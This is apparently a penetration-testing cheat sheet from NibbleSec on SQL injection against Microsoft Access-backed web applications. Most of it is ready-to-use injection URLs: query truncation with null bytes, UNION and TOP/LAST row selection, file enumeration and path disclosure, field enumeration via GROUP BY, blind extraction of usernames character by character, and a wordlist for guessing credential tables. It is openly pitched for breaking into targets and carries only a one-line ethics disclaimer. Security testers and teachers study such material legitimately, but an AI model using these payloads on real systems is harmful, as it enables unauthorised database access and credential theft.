MS Access SQL Injection
Cheat Sheet - Version 0.2
 
Table Of Contents
 Intro
 MS Access SQL Injection Basics
 SQL Injection Tips & Tricks
 Blind SQL Injection
 Links and References
 Credits

INTRO
Although web applications powered by Microsoft Access are not very popular nowadays, it is still possible to come across this technology. Several great cheat sheets exist for other RDBMS, including Ferruh Mavituna’s page and Pentestmonkey.net. However, none of them covers this database system. 

Hopefully, this page should fill the gap. You can find syntax reminders, advanced tricks and other useful details to break into your next target. Don’t be malicious, this is for ethical usage only!

Note that this page is a living document and may be updated to reflect new techniques and tricks supported by the latest releases of MS Access. If you have comments, suggestions or new hacks to share,  please email daath@nibblesec.org or ikki@nibblesec.org.

MS Access SQl INjection Basics
We’re right in front of our MS Access powered web application.

Syntax Error Message
Different error messages can be found during MS Access testing, depending on the specific web platform. As an example, two cases are hereby reported:

Apache (PHP) 
Fatal error: Uncaught exception 'com_exception' with message
'Source: Microsoft JET Database Engine Description: [...]

IIS (ASP) 
Microsoft JET Database Engine error '80040e14'

Query Comment
Comment characters are not available in Microsoft Access. As a result, in order to comment out the trailing part of an injectable query, we cannot use the usual notation with /**/ or -- or #
However, it is possible to remove useless part of a query with the NULL char (%00).  In case this character is not allowed (e.g. filtering via magic_quote_gpc in PHP), it is still possible to use the %16 character (SYN char) to achieve the same result. A query truncation looks like:

http://localhost/script.asp?id=1'+UNION+SELECT+1,2,3,4+FROM+someValidTabName%00

Double encoding and other usual encoding techniques may be used to inject the characters above.

UNION Operator
MS Access supports UNION and UNION ALL operators, although they require an existent table name within the FROM clause of the SELECT query. Table bruteforcing can be used to obtain a valid table name. Please refer to last section of this document.

Stacked Query
Stacked queries are not allowed. Forget about it.

LIMIT Support 
The LIMIT operator is not implemented within MS Access. 
However, it is possible to limit SELECT query results to the first N table rows using the TOP operator. TOP accepts as argument an integer, representing the number of rows to be returned.

http://localhost/script.asp?id=1'+UNION+SELECT+TOP+3+someAttrName+FROM+validTable%00

In the example above, the injected query returns the first 3 rows.

In addition to TOP, the operator LAST can be used to fully emulate the behavior of LIMIT. 
As LAST allows to select the last tuple, we can combine both functions in order to select a specific result. For example, to select the N-tuple we can use TOP N and then LAST. 

Subquery
Subqueries are supported by MS Access. In the following example, TOP 1 is used to return one row only:

http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+'someData'+FROM+table)%00

Hardcoded Query Returning 0 Rows
In some cases, it is useful to include in the web application response the outcome of our UNION SELECT query only, making the hardcoded query returning 0 results. A common trick can be used for our purpose:

http://localhost/script.asp?id=1'+AND+1=0+UNION+SELECT+1,2,3+FROM+table%00  

String Concatenation
String concatenation is possible using the & (%26) and + (%2b) characters. As we are injecting these characters within an HTTP request, such value should be properly encoded:

http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%2b+'app'+FROM+table%00
http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%26+'app'+FROM+table%00

Both queries return the string “webapp”.

Substring
The operator MID can be used to select a portion of a specified string:

http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',1,1)+FROM+table%00
http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',2,1)+FROM+table%00
The first query returns the character ‘a’, whereas the second query returns ‘b’.

String Length
The operator LEN can be used in order to obtain the length of a string:

http://localhost/script.asp?id=1'+UNION+SELECT+LEN('1234')+FROM+table%00

The request above returns 4, the length of the string “1234”.

 ASCII Value From Char
The ASC operator returns the ASCII value of the character passed as argument:

http://localhost/script.asp?id=1'+UNION+SELECT+ASC('A')+FROM+table%00

The request above returns 65, the ASCII value of the character ‘A’.

 Char From ASCII Value
The CHR operator converts the argument character to its ASCII value:

http://localhost/script.asp?id=1'+UNION+SELECT+CHR(65)+FROM+table%00

The request above returns the character ‘A’.

IF THEN Conditional Statement
The IIF operator can be used to build an “if-then” conditional statement. As shown below, the syntax for this function is simple:

IIF(condition, true, false)
http://localhost/script.asp?id=1'+UNION+SELECT+IIF(1=1,'a','b')+FROM+table%00

The previous query returns the character ‘a’ as the condition 1=1 is always true.

SQL Injection Tips & Tricks
We’re now able to inject proper queries in our target and retrieve useful information. What’s next?  

Web Root Directory Full Path
The knowledge of the web root absolute path may facilitate further attacks. If application errors are not completely concealed, the directory path can be uncovered trying to select data from an inexistent database. 

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access responds with an error message containing the web directory full pathname.

File Enumeration
The following attack vector can be used to inferrer the existence of a file on the remote filesystem. 
If the specified file exists, MS Access triggers an error message informing that the database format is invalid:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Another way to enumerate files consists into specifying a database.table item. If the specified file exists, MS Access displays a database format error message.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\\boot.ini.TableName%00

.mdb File Name Guessing
Database file name (.mdb) can be inferred with the following query:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Where name[i] is a .mdb filename and realTable is an existent table within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.

.mdb Password Cracker
Access PassView is a free utility that can be used  to recover the main database password of Microsoft Access 95/97/2000/XP or Jet Database Engine 3.0/4.0. The tool can be downloaded for free here.  Other third-party utilities capable of recovering database password exist, however most of these tools are neither OpenSource nor free.

Filters Evasion
Backslash escaped input filtering can be easily bypassed in MS Access. Escaping user's inputs by adding backslashes is not enough in order to prevent SQL injection as the character ‘\’ is the integer divide operator. A clever example of bypass has been already discussed here.

Table Fields Enumeration
Table fields can be enumerated with a simple trick. First of all, it is necessary to find a valid table name. If error messages are not concealed, the name of table is usually included in the error messages. Let’s assume that id is a valid table name. 
At this stage, we can use a well-known MS SQL server technique to enumerate all table fields.

http://localhost/script.asp?id=1'+GROUP+BY+ID%00

As the system will now respond with a slightly different error message including another field name, we can proceed with the following:

http://localhost/script.asp?id=1'+GROUP+BY+ID,FIELD2%00

Consequently, this process can be repeated several times until all field names have been uncovered. Note that it is not possible to use this technique if you are dealing with query like “SELECT * FROM”

Blind SQL Injection
Real life attacks are usually not so straightforward as error messages are often disabled or filtered. However, even in this case, attackers can still observe different application properties (HTML code, response time, etc.) in order to deduct the outcome of an injected query.

In MS Access, there are several way to exploit  a Blind SQL Injection. In this section, we are going to illustrate a few useful techniques. 

Generic Approach
In 2008, Antonio Parata published a post describing a trick based on the IFF, MID, LAST and TOP operators in order to retrieve a field value. Assuming that we have already discovered the vulnerable ‘id’ field, the table name and the field name, we can proceed using the following query: 

http://localhost/index.asp?id=IIF((select%20mid(last(username),1,1)%20
from%20(select%20top%2010%20username%20from%20users))='a',0,'ko')

In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10  operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only.
On such value, using the MID operator, it is possible to perform a simple character comparison.
Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows. 

Time Based Inference
MS Access does not provide BENCHMARK or SLEEP alike operators.
However, it is still possible to inference data with the use of heavy queries as described in this Microsoft TechNet article.

Table/Field Names Bruteforcing 
The knowledge of table and field names is essential to properly build an attack. 
In any case, it is possible to bruteforce such values using a wordlist.    

A list of names that are likely to be used in field/table/.mdb guessing is also available as part of fuzzdb (download here). For quick checks, a short wordlist is hereby included:

account
accnts
accnt
user_id
members
usrs
usr2
accounts
admin
admins
adminlogin
auth
authenticate
authentication
account
access
customers
customer
config
conf
cfg
hash
login
logout
loginout
log
member
memberid
password
pass_hash
pass
passwd
passw
pword
pwrd
pwd
store
store1
store2
store3
store4
setting
username
name
user
user_name
user_username
uname
user_uname
usern
user_usern
un
user_un
usrnm
user_usrnm
usr
usernm
user_usernm
user_nm
user_password
userpass
user_pass
user_pword
user_passw
user_pwrd
user_pwd
user_passwd
Using our favorite scripting language, it is possible to iterate on all wordlist items using the query:

http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FROM+$wordlist)%00
If the $wordlist item exists, the web application should display a standard HTML response.
Once obtained a valid table name, we can guess a field name in a similar way :

http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FieldName[i]+FROM+validTableName)%00
Table Rows Counting
The total number of rows in a table can be discovered with the query:

http://localhost/script.asp?id=1'+AND+IIF((SELECT+COUNT(*)+FROM+validTableName)=X,1,0)%00
In the following, TAB_LEN is the discovered number of rows. 

Another Bruteforcing Technique
In addition to the generic blind SQLi approach, it is possible to use another trick to achieve the same result. We’ll introduce this concept trying to obtain the value length of a field.

Bruteforcing of the value length of a generic field can be done with the following query:

http://localhost/script.asp?id=1'+AND+IIF((SELECT+TOP+1+LEN(FIELD)+FROM+table)=X,1,0)%00
Subsequently, it is possible to retrieve the length of all fields from row 2 to TAB_LEN excluding previous results:

http://localhost/script.asp?id=1'+AND+IIF((SELECT+TOP+N+LEN(FIELD)+FROM+table+
WHERE+FIELD<>‘value1’+AND+FIELD<>'value2'+…FIELD<>'valueN')=K,1,0)%00
The counter K must iterate from 0 to the max value. For your convenience, this page shows MS Access maximum capacities. In our query, FIELD<>‘valueXXX’ is used to exclude tuples. 

Please note that this technique works as long as FIELD contains unique values (e.g. it’s a primary key).

Finally, we can see an application of this technique in order to retrieve the content of a field: 

script.asp?id=1'+AND+IIF((SELECT+TOP+N+MID(FIELD,NC,1)+FROM+table+WHERE+
FIELD_key<>'value1'+AND+FIELD_key<>'value2'+…etc…)=CHAR(Y),1,0)%00
Where N in the total tuples to bruteforce, NC is the n-character of the FIELD, FIELD_key is the table primary key field and Y is a number between 0 and 255 (ASCII value for a char).

Links and references
 http://www.owasp.org/index.php/Testing_for_MS_Access
 http://office.microsoft.com/en-us/access/CH100621381033.aspx
 http://seclists.org/pen-test/2003/May/0074.html
 http://sla.ckers.org/forum/read.php?16,13433
 http://support.microsoft.com/kb/294698
 http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx
 http://www.ictsc.it/site/IT/papers/MSAccessBlindsqlInjection.php
 http://seclists.org/bugtraq/2010/Apr/269
 http://www.insomniasec.com/publications/Access-Through-Access.pdf
 http://www.databasezone.com/techdocs/acclimit.html
 http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
 http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/
 http://en.wikipedia.org/wiki/Microsoft_Access

CREDITS
This page is brought to you by NibbleSec - http://blog.nibblesec.org/

Luca De Fulgentis (daath@nibblesec.org)
Luca Carettoni (ikki@nibblesec.org)http://en.wikipedia.org/wiki/Microsoft_Accesshttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/mailto:_daath@nibblesec.orgmailto:ikki@nibblesec.orghttp://www.nirsoft.net/utils/accesspv.htmlhttp://www.nirsoft.net/utils/accesspv.ziphttp://seclists.org/bugtraq/2010/Apr/269http://www.ictsc.it/site/IT/papers/MSAccessBlindsqlInjection.phphttp://technet.microsoft.com/it-it/library/cc512676%28en-us%29.aspxhttp://code.google.com/p/fuzzdb/http://www.databasezone.com/techdocs/acclimit.htmlhttp://www.owasp.org/index.php/Testing_for_MS_Accesshttp://office.microsoft.com/en-us/access/CH100621381033.aspxhttp://seclists.org/pen-test/2003/May/0074.htmlhttp://sla.ckers.org/forum/read.php?16,13433http://support.microsoft.com/kb/294698http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspxhttp://www.ictsc.it/site/IT/papers/MSAccessBlindsqlInjection.phphttp://seclists.org/bugtraq/2010/Apr/269http://www.insomniasec.com/publications/Access-Through-Access.pdfhttp://www.databasezone.com/techdocs/acclimit.htmlhttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/http://en.wikipedia.org/wiki/Microsoft_Accesshttp://blog.nibblesec.orgmailto:_daath@nibblesec.orgmailto:ikki@nibblesec.orgshapeimage_2_link_0shapeimage_2_link_1shapeimage_2_link_2shapeimage_2_link_3shapeimage_2_link_4shapeimage_2_link_5shapeimage_2_link_6shapeimage_2_link_7shapeimage_2_link_8shapeimage_2_link_9shapeimage_2_link_10shapeimage_2_link_11shapeimage_2_link_12shapeimage_2_link_13shapeimage_2_link_14shapeimage_2_link_15shapeimage_2_link_16shapeimage_2_link_17shapeimage_2_link_18shapeimage_2_link_19shapeimage_2_link_20shapeimage_2_link_21shapeimage_2_link_22shapeimage_2_link_23shapeimage_2_link_24shapeimage_2_link_25shapeimage_2_link_26shapeimage_2_link_27